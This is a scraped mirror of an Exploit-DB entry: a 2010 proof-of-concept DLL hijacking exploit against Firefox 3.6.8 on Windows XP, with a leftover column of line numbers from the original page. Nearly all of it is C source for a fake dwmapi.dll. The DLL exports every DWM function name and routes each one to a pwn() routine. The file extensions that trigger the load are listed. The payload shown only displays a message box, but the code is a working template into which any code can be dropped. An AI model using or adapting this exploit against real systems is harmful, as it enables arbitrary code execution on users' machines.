Mozilla Firefox 3.6.8 – ‘dwmapi.dll’ DLL Hijacking - 体验盒子

作者： Glafkos Charalambous

日期： 2010-08-24

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/14730/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

/*

Exploit Title: Firefox <= 3.6.8 DLL Hijacking Exploit [dwmapi.dll]

Date: August 24, 2010

Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)

Version: Latest Firefox v3.6.8

Tested on: Windows XP SP3 En

Vulnerable extensions: .htm .html .jtx .mfp

Greetz: Astalavista, OffSEC, Exploit-DB

*/

#include <windows.h>

#define DllExport __declspec (dllexport)

DllExport void CPAcquireContext() { pwn(); }

DllExport void DWMAPI_100() { pwn(); }

DllExport void DWMAPI_101() { pwn(); }

DllExport void DwmEnableComposition() { pwn(); }

DllExport void DWMAPI_103() { pwn(); }

DllExport void DWMAPI_104() { pwn(); }

DllExport void DWMAPI_105() { pwn(); }

DllExport void DWMAPI_106() { pwn(); }

DllExport void DWMAPI_107() { pwn(); }

DllExport void DWMAPI_108() { pwn(); }

DllExport void DWMAPI_109() { pwn(); }

DllExport void DWMAPI_110() { pwn(); }

DllExport void DWMAPI_111() { pwn(); }

DllExport void DWMAPI_112() { pwn(); }

DllExport void DWMAPI_113() { pwn(); }

DllExport void DWMAPI_115() { pwn(); }

DllExport void DWMAPI_116() { pwn(); }

DllExport void DWMAPI_117() { pwn(); }

DllExport void DWMAPI_118() { pwn(); }

DllExport void DWMAPI_119() { pwn(); }

DllExport void DWMAPI_120() { pwn(); }

DllExport void DwmAttachMilContent() { pwn(); }

DllExport void DwmDefWindowProc() { pwn(); }

DllExport void DwmDetachMilContent() { pwn(); }

DllExport void DwmEnableBlurBehindWindow() { pwn(); }

DllExport void DwmEnableMMCSS() { pwn(); }

DllExport void DwmExtendFrameIntoClientArea() { pwn(); }

DllExport void DwmFlush() { pwn(); }

DllExport void DwmGetColorizationColor() { pwn(); }

DllExport void DwmGetCompositionTimingInfo() { pwn(); }

DllExport void DwmGetGraphicsStreamClient() { pwn(); }

DllExport void DwmGetGraphicsStreamTransformHint() { pwn(); }

DllExport void DwmGetTransportAttributes() { pwn(); }

DllExport void DwmGetWindowAttribute() { pwn(); }

DllExport void DwmIsCompositionEnabled() { pwn(); }

DllExport void DwmModifyPreviousDxFrameDuration() { pwn(); }

DllExport void DwmQueryThumbnailSourceSize() { pwn(); }

DllExport void DwmRegisterThumbnail() { pwn(); }

DllExport void DwmSetDxFrameDuration() { pwn(); }

DllExport void DwmSetPresentParameters() { pwn(); }

DllExport void DwmSetWindowAttribute() { pwn(); }

DllExport void DwmUnregisterThumbnail() { pwn(); }

DllExport void DwmUpdateThumbnailProperties() { pwn(); }

int pwn()

{

MessageBox(0, "Firefox DLL Hijacking!", "DLL Message", MB_OK);

return 0;

}